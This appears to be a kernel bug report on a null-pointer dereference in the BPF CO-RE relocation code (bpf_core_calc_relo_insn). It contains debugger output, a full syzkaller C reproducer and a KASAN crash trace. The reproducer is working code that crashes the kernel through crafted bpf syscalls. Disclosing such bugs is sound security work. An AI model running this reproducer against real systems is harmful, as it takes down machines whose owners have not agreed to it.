[   89.505441] RDX: 0000000000000000 RSI: ffffffff816c8bea RDI: 0000000000000004
[   89.505768] RBP: ffff888108f376c0 R08: ffff888108f37778 R09: ffff88810991c000
[   89.506099] R10: 0000000000000004 R11: ffff888103ab1c90 R12: 0000000000000000
[   89.506427] R13: ffff888103ddfe00 R14: 0000000000000004 R15: ffff88810991c000
[   89.506754] FS:  00007f94a2d15640(0000) GS:ffff8881f7100000(0000)
knlGS:0000000000000000
[   89.507129] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   89.507398] CR2: 0000000020000480 CR3: 0000000106058000 CR4: 00000000003006f0
```
I use gdb debug it,and found that the lack of a NULL check before
using local_type has led to a null pointer dereference vulnerability.
```
───────────────────────────────────────────────────────────────────────────[
REGISTERS / show-flags off / show-compact-regs off
]───────────────────────────────────────────────────────────────────────────
 RAX  0xdffffc0000000000
 RBX  0xdffffc0000000000
 RCX  0xffffffff816c8b8b (btf_type_by_id+235) ◂— 0x404be85576e53944
 RDX  0x0
 RDI  0x4
 RSI  0xffffffff816c8bea (btf_type_by_id+330) ◂— 0xe0894c5d5be43145
 R8   0xffff88811669f778 ◂— 0x0
 R9   0xffff888115f48000 ◂— 0x0
 R10  0x4
 R11  0xffff888104562080 ◂— 0x0
 R12  0x0
 R13  0xffff8881135b7000 —▸ 0xffff8881166280c2 ◂— 0x0
 R14  0x4
 R15  0xffff888115f48000 ◂— 0x0
 RBP  0xffff88811669f6c0 —▸ 0xffff88811669f798 —▸ 0xffffffff8160fcb0
(check_btf_line) ◂— 0x56415741e5894855
 RSP  0xffff88811669f3d0 ◂— 0x1ffff11022cd3e92
*RIP  0xffffffff8173e51e (bpf_core_calc_relo_insn+286) ◂— 0x83e0894c0214b60f
────────────────────────────────────────────────────────────────────────────────────[
DISASM / x86-64 / set emulate on
]────────────────────────────────────────────────────────────────────────────────────
   0xffffffff8173e505 <bpf_core_calc_relo_insn+261>    call
btf_type_by_id            <btf_type_by_id>

   0xffffffff8173e50a <bpf_core_calc_relo_insn+266>    mov    rdx, rax
   0xffffffff8173e50d <bpf_core_calc_relo_insn+269>    mov    r12, rax
   0xffffffff8173e510 <bpf_core_calc_relo_insn+272>    movabs rax,
0xdffffc0000000000
   0xffffffff8173e51a <bpf_core_calc_relo_insn+282>    shr    rdx, 3
                     <fixed_percpu_data+3>
 ► 0xffffffff8173e51e <bpf_core_calc_relo_insn+286>    movzx  edx,
byte ptr [rdx + rax]
   0xffffffff8173e522 <bpf_core_calc_relo_insn+290>    mov    rax, r12
   0xffffffff8173e525 <bpf_core_calc_relo_insn+293>    and    eax, 7
                     <fixed_percpu_data+7>
   0xffffffff8173e528 <bpf_core_calc_relo_insn+296>    add    eax, 3
                     <fixed_percpu_data+3>
   0xffffffff8173e52b <bpf_core_calc_relo_insn+299>    cmp    al, dl
   0xffffffff8173e52d <bpf_core_calc_relo_insn+301>    jl
bpf_core_calc_relo_insn+311            <bpf_core_calc_relo_insn+311>
─────────────────────────────────────────────────────────────────────────────────────────────[
SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/ubuntu/fuzz/linux-6.11-rc4/tools/lib/bpf/relo_core.c:1300
   1295         char spec_buf[256];
   1296         int i, j, err;
   1297
   1298         local_id = relo->type_id;
   1299         local_type = btf_type_by_id(local_btf, local_id);
 ► 1300         local_name = btf__name_by_offset(local_btf,
local_type->name_off);
   1301         if (!local_name)
   1302                 return -EINVAL;
   1303
   1304         err = bpf_core_parse_spec(prog_name, local_btf, relo,
local_spec);
   1305         if (err) {
─────────────────────────────────────────────────────────────────────────────────────────────────[
STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
```

#define _GNU_SOURCE 

#include <endian.h>
#include <errno.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#include <linux/futex.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

static void sleep_ms(uint64_t ms)
{
	usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
	struct timespec ts;
	if (clock_gettime(CLOCK_MONOTONIC, &ts))
	exit(1);
	return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static void thread_start(void* (*fn)(void*), void* arg)
{
	pthread_t th;
	pthread_attr_t attr;
	pthread_attr_init(&attr);
	pthread_attr_setstacksize(&attr, 128 << 10);
	int i = 0;
	for (; i < 100; i++) {
		if (pthread_create(&th, &attr, fn, arg) == 0) {
			pthread_attr_destroy(&attr);
			return;
		}
		if (errno == EAGAIN) {
			usleep(50);
			continue;
		}
		break;
	}
	exit(1);
}

#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))

typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}

static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (ev->state)
	exit(1);
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

static int event_isset(event_t* ev)
{
	return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}

static int event_timedwait(event_t* ev, uint64_t timeout)
{
	uint64_t start = current_time_ms();
	uint64_t now = start;
	for (;;) {
		uint64_t remain = timeout - (now - start);
		struct timespec ts;
		ts.tv_sec = remain / 1000;
		ts.tv_nsec = (remain % 1000) * 1000 * 1000;
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
		if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
			return 1;
		now = current_time_ms();
		if (now - start > timeout)
			return 0;
	}
}

struct thread_t {
	int created, call;
	event_t ready, done;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;

static void* thr(void* arg)
{
	struct thread_t* th = (struct thread_t*)arg;
	for (;;) {
		event_wait(&th->ready);
		event_reset(&th->ready);
		execute_call(th->call);
		__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
		event_set(&th->done);
	}
	return 0;
}

static void loop(void)
{
	if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
	}
	int i, call, thread;
	for (call = 0; call < 3; call++) {
		for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) {
			struct thread_t* th = &threads[thread];
			if (!th->created) {
				th->created = 1;
				event_init(&th->ready);
				event_init(&th->done);
				event_set(&th->done);
				thread_start(thr, th);
			}
			if (!event_isset(&th->done))
				continue;
			event_reset(&th->done);
			th->call = call;
			__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
			event_set(&th->ready);
			if (call == 1)
				break;
			event_timedwait(&th->done, 50);
			break;
		}
	}
	for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
		sleep_ms(1);
}

uint64_t r[1] = {0xffffffffffffffff};

void execute_call(int call)
{
		intptr_t res = 0;
	switch (call) {
	case 0:
*(uint64_t*)0x20004e40 = 0x20004c80;
*(uint16_t*)0x20004c80 = 0xeb9f;
*(uint8_t*)0x20004c82 = 1;
*(uint8_t*)0x20004c83 = 0;
*(uint32_t*)0x20004c84 = 0x18;
*(uint32_t*)0x20004c88 = 0;
*(uint32_t*)0x20004c8c = 0xc;
*(uint32_t*)0x20004c90 = 0xc;
*(uint32_t*)0x20004c94 = 0xa;
*(uint32_t*)0x20004c98 = 8;
*(uint16_t*)0x20004c9c = 0;
*(uint8_t*)0x20004c9e = 0;
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 5, 0, 7);
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 0, 7, 1);
*(uint32_t*)0x20004ca0 = 6;
*(uint8_t*)0x20004ca4 = 0;
*(uint8_t*)0x20004ca5 = 0x30;
*(uint8_t*)0x20004ca6 = 0;
*(uint8_t*)0x20004ca7 = 0x30;
*(uint8_t*)0x20004ca8 = 0x61;
*(uint8_t*)0x20004ca9 = 0x1e;
*(uint8_t*)0x20004caa = 0x2f;
*(uint8_t*)0x20004cab = 0x30;
*(uint8_t*)0x20004cac = 0x2e;
*(uint8_t*)0x20004cad = 0;
*(uint64_t*)0x20004e48 = 0;
*(uint32_t*)0x20004e50 = 0x2e;
*(uint32_t*)0x20004e54 = 0;
*(uint32_t*)0x20004e58 = 1;
*(uint32_t*)0x20004e5c = 0x40;
		res = syscall(__NR_bpf, /*cmd=*/0x12ul, /*arg=*/0x20004e40ul, /*size=*/0x20ul);
		if (res != -1)
				r[0] = res;
		break;
	case 1:
*(uint32_t*)0x20000480 = 6;
*(uint32_t*)0x20000484 = 0x27;
*(uint64_t*)0x20000488 = 0x20000d40;
*(uint8_t*)0x20000d40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 4, 4);
*(uint16_t*)0x20000d42 = 0;
*(uint32_t*)0x20000d44 = 8;
*(uint8_t*)0x20000d48 = 0;
*(uint8_t*)0x20000d49 = 0;
*(uint16_t*)0x20000d4a = 0;
*(uint32_t*)0x20000d4c = 7;
*(uint8_t*)0x20000d50 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 4, 4);
*(uint16_t*)0x20000d52 = 0;
*(uint32_t*)0x20000d54 = -1;
*(uint8_t*)0x20000d58 = 0;
*(uint8_t*)0x20000d59 = 0;
*(uint16_t*)0x20000d5a = 0;
*(uint32_t*)0x20000d5c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 0, 4, 4);
*(uint16_t*)0x20000d62 = 0;
*(uint32_t*)0x20000d64 = 0x14;
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 0, 4, 4);
*(uint16_t*)0x20000d6a = 0;
*(uint32_t*)0x20000d6c = 0;
*(uint8_t*)0x20000d70 = 0x85;
*(uint8_t*)0x20000d71 = 0;
*(uint16_t*)0x20000d72 = 0;
*(uint32_t*)0x20000d74 = 0x83;
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 0, 4, 4);
*(uint16_t*)0x20000d7a = 0;
*(uint32_t*)0x20000d7c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 0, 4, 4);
*(uint16_t*)0x20000d82 = 1;
*(uint32_t*)0x20000d84 = 0;
*(uint8_t*)0x20000d88 = 0x95;
*(uint8_t*)0x20000d89 = 0;
*(uint16_t*)0x20000d8a = 0;
*(uint32_t*)0x20000d8c = 0;
*(uint8_t*)0x20000d90 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 4, 4);
*(uint16_t*)0x20000d92 = 0;
*(uint32_t*)0x20000d94 = -1;
*(uint8_t*)0x20000d98 = 0;
*(uint8_t*)0x20000d99 = 0;
*(uint16_t*)0x20000d9a = 0;
*(uint32_t*)0x20000d9c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 0, 4, 4);
*(uint16_t*)0x20000da2 = 0;
*(uint32_t*)0x20000da4 = 0;
*(uint8_t*)0x20000da8 = 0x85;
*(uint8_t*)0x20000da9 = 0;
*(uint16_t*)0x20000daa = 0;
*(uint32_t*)0x20000dac = 0x86;
*(uint8_t*)0x20000db0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 0, 4, 4);
*(uint16_t*)0x20000db2 = 0;
*(uint32_t*)0x20000db4 = 0x25702020;
*(uint8_t*)0x20000db8 = 0;
*(uint8_t*)0x20000db9 = 0;
*(uint16_t*)0x20000dba = 0;
*(uint32_t*)0x20000dbc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 1, 4, 4);
*(uint16_t*)0x20000dc2 = 0xfff8;
*(uint32_t*)0x20000dc4 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 0xa, 4, 4);
*(uint16_t*)0x20000dca = 0;
*(uint32_t*)0x20000dcc = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 0, 4, 4);
*(uint16_t*)0x20000dd2 = 0;
*(uint32_t*)0x20000dd4 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 0, 4, 4);
*(uint16_t*)0x20000dda = 0;
*(uint32_t*)0x20000ddc = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 0, 4, 4);
*(uint16_t*)0x20000de2 = 0;
*(uint32_t*)0x20000de4 = 0xffff;
*(uint8_t*)0x20000de8 = 0x85;
*(uint8_t*)0x20000de9 = 0;
*(uint16_t*)0x20000dea = 0;
*(uint32_t*)0x20000dec = 6;
*(uint8_t*)0x20000df0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 0, 4, 4);
*(uint16_t*)0x20000df2 = 0;
*(uint32_t*)0x20000df4 = 0x256c6c64;
*(uint8_t*)0x20000df8 = 0;
*(uint8_t*)0x20000df9 = 0;
*(uint16_t*)0x20000dfa = 0;
*(uint32_t*)0x20000dfc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 1, 4, 4);
*(uint16_t*)0x20000e02 = 0xfff8;
*(uint32_t*)0x20000e04 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 0xa, 4, 4);
*(uint16_t*)0x20000e0a = 0;
*(uint32_t*)0x20000e0c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 0, 4, 4);
*(uint16_t*)0x20000e12 = 0;
*(uint32_t*)0x20000e14 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 0, 4, 4);
*(uint16_t*)0x20000e1a = 0;
*(uint32_t*)0x20000e1c = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 0, 4, 4);
*(uint16_t*)0x20000e22 = 0;
*(uint32_t*)0x20000e24 = 7;
*(uint8_t*)0x20000e28 = 0x85;
*(uint8_t*)0x20000e29 = 0;
*(uint16_t*)0x20000e2a = 0;
*(uint32_t*)0x20000e2c = 6;
*(uint8_t*)0x20000e30 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 8, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 5, 4, 4);
*(uint16_t*)0x20000e32 = 0;
*(uint32_t*)0x20000e34 = 1;
*(uint8_t*)0x20000e38 = 0;
*(uint8_t*)0x20000e39 = 0;
*(uint16_t*)0x20000e3a = 0;
*(uint32_t*)0x20000e3c = 0;
*(uint8_t*)0x20000e40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 4, 4);
*(uint16_t*)0x20000e42 = 0;
*(uint32_t*)0x20000e44 = 4;
*(uint8_t*)0x20000e48 = 0;
*(uint8_t*)0x20000e49 = 0;
*(uint16_t*)0x20000e4a = 0;
*(uint32_t*)0x20000e4c = 0xfffffffb;
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 9, 4, 4);
*(uint16_t*)0x20000e52 = 0;
*(uint32_t*)0x20000e54 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 0, 4, 4);
*(uint16_t*)0x20000e5a = 0;
*(uint32_t*)0x20000e5c = 0;
*(uint8_t*)0x20000e60 = 0x85;
*(uint8_t*)0x20000e61 = 0;
*(uint16_t*)0x20000e62 = 0;
*(uint32_t*)0x20000e64 = 0x84;
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 4, 4);
*(uint16_t*)0x20000e6a = 0;
*(uint32_t*)0x20000e6c = 0;
*(uint8_t*)0x20000e70 = 0x95;
*(uint8_t*)0x20000e71 = 0;
*(uint16_t*)0x20000e72 = 0;
*(uint32_t*)0x20000e74 = 0;
*(uint64_t*)0x20000490 = 0x20000040;
memcpy((void*)0x20000040, "GPL\000", 4);
*(uint32_t*)0x20000498 = 0xb;
*(uint32_t*)0x2000049c = 0xc0;
*(uint64_t*)0x200004a0 = 0x20000c80;
*(uint32_t*)0x200004a8 = 0x41100;
*(uint32_t*)0x200004ac = 0x38;
memset((void*)0x200004b0, 0, 16);
*(uint32_t*)0x200004c0 = 0;
*(uint32_t*)0x200004c4 = 0x25;
*(uint32_t*)0x200004c8 = r[0];
*(uint32_t*)0x200004cc = 8;
*(uint64_t*)0x200004d0 = 0;
*(uint32_t*)0x200004d8 = 0;
*(uint32_t*)0x200004dc = 0x10;
*(uint64_t*)0x200004e0 = 0x200002c0;
*(uint32_t*)0x200002c0 = 0;
*(uint32_t*)0x200002c4 = 0;
*(uint32_t*)0x200002c8 = 0;
*(uint32_t*)0x200002cc = 9;
*(uint32_t*)0x200004e8 = 1;
*(uint32_t*)0x200004ec = 0;
*(uint32_t*)0x200004f0 = 0;
*(uint32_t*)0x200004f4 = 9;
*(uint64_t*)0x200004f8 = 0x20000380;
*(uint32_t*)0x20000380 = -1;
*(uint32_t*)0x20000384 = -1;
*(uint32_t*)0x20000388 = -1;
*(uint64_t*)0x20000500 = 0x200003c0;
*(uint32_t*)0x200003c0 = 1;
*(uint32_t*)0x200003c4 = 4;
*(uint32_t*)0x200003c8 = 0xb;
*(uint32_t*)0x200003cc = 6;
*(uint32_t*)0x200003d0 = 2;
*(uint32_t*)0x200003d4 = 2;
*(uint32_t*)0x200003d8 = 1;
*(uint32_t*)0x200003dc = 0;
*(uint32_t*)0x200003e0 = 5;
*(uint32_t*)0x200003e4 = 4;
*(uint32_t*)0x200003e8 = 0xe;
*(uint32_t*)0x200003ec = 0xb;
*(uint32_t*)0x200003f0 = 2;
*(uint32_t*)0x200003f4 = 0x1000003;
*(uint32_t*)0x200003f8 = 2;
*(uint32_t*)0x200003fc = 3;
*(uint32_t*)0x20000400 = 2;
*(uint32_t*)0x20000404 = 5;
*(uint32_t*)0x20000408 = 0xa;
*(uint32_t*)0x2000040c = 5;
*(uint32_t*)0x20000410 = 3;
*(uint32_t*)0x20000414 = 1;
*(uint32_t*)0x20000418 = 0xa;
*(uint32_t*)0x2000041c = 3;
*(uint32_t*)0x20000420 = 3;
*(uint32_t*)0x20000424 = 3;
*(uint32_t*)0x20000428 = 5;
*(uint32_t*)0x2000042c = 8;
*(uint32_t*)0x20000430 = 3;
*(uint32_t*)0x20000434 = 1;
*(uint32_t*)0x20000438 = 5;
*(uint32_t*)0x2000043c = 5;
*(uint32_t*)0x20000440 = 0;
*(uint32_t*)0x20000444 = 2;
*(uint32_t*)0x20000448 = 0;
*(uint32_t*)0x2000044c = 7;
*(uint32_t*)0x20000508 = 0x10;
*(uint32_t*)0x2000050c = 0x10000;
		syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x20000480ul, /*size=*/0x90ul);
		break;
	case 2:
*(uint32_t*)0x20000440 = -1;
*(uint64_t*)0x20000448 = 0x200003c0;
*(uint32_t*)0x200003c0 = 0;
*(uint64_t*)0x20000450 = 0;
*(uint64_t*)0x20000458 = 0;
		syscall(__NR_bpf, /*cmd=*/2ul, /*arg=*/0x20000440ul, /*size=*/0x20ul);
		break;
	}

}
int main(void)
{
		syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
	const char* reason;
	(void)reason;
			loop();
	return 0;
}

Attachment: .config
Description: XML document

Syzkaller hit 'general protection fault in bpf_core_calc_relo_insn' bug.

audit: type=1400 audit(1724099886.559:9): avc:  denied  { execmem } for  pid=255 comm="syz-executor443" scontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 tcontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 tclass=process permissive=1
Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN NOPTI
KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
CPU: 3 PID: 256 Comm: syz-executor443 Not tainted 6.10.5 #2
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:bpf_core_calc_relo_insn+0x11e/0x1e90 tools/lib/bpf/relo_core.c:1300
Code: 48 8b 85 28 fd ff ff 4c 89 ef 44 8b 70 04 44 89 f6 e8 96 bd f8 ff 48 89 c2 49 89 c4 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <0f> b6 14 02 4c 89 e0 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 2c
RSP: 0018:ffff88810f81f3d0 EFLAGS: 00010246
RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: ffffffff816c4ceb
RDX: 0000000000000000 RSI: ffffffff816c4d4a RDI: 0000000000000004
RBP: ffff88810f81f6c0 R08: ffff88810f81f778 R09: ffff88810d7f0000
R10: 0000000000000004 R11: ffff88810d447c80 R12: 0000000000000000
R13: ffff88810a956000 R14: 0000000000000004 R15: ffff88810d7f0000
FS:  00007f8688b53640(0000) GS:ffff88811b180000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000020000d42 CR3: 000000011200a000 CR4: 0000000000750ef0
PKRU: 55555554
Call Trace:
 <TASK>
 bpf_core_apply+0x48b/0xaf0 kernel/bpf/btf.c:8759
 check_core_relo kernel/bpf/verifier.c:16470 [inline]
 check_btf_info kernel/bpf/verifier.c:16527 [inline]
 bpf_check+0x674b/0xba00 kernel/bpf/verifier.c:21650
 bpf_prog_load+0x151c/0x2450 kernel/bpf/syscall.c:2908
 __sys_bpf+0x12b3/0x5210 kernel/bpf/syscall.c:5688
 __do_sys_bpf kernel/bpf/syscall.c:5795 [inline]
 __se_sys_bpf kernel/bpf/syscall.c:5793 [inline]
 __x64_sys_bpf+0x78/0xc0 kernel/bpf/syscall.c:5793
 do_syscall_x64 arch/x86/entry/common.c:52 [inline]
 do_syscall_64+0xa6/0x1a0 arch/x86/entry/common.c:83
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f8688bae82d
Code: c3 e8 d7 1e 00 00 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f8688b531b8 EFLAGS: 00000246 ORIG_RAX: 0000000000000141
RAX: ffffffffffffffda RBX: 00007f8688c49208 RCX: 00007f8688bae82d
RDX: 0000000000000090 RSI: 0000000020000480 RDI: 0000000000000005
RBP: 00007f8688c49200 R08: 0000000000000000 R09: 00007f8688b53640
R10: 0000000000000000 R11: 0000000000000246 R12: 00007f8688c4920c
R13: 0000000000000000 R14: 00007f8688b77a00 R15: 00007f8688b33000
 </TASK>
Modules linked in:
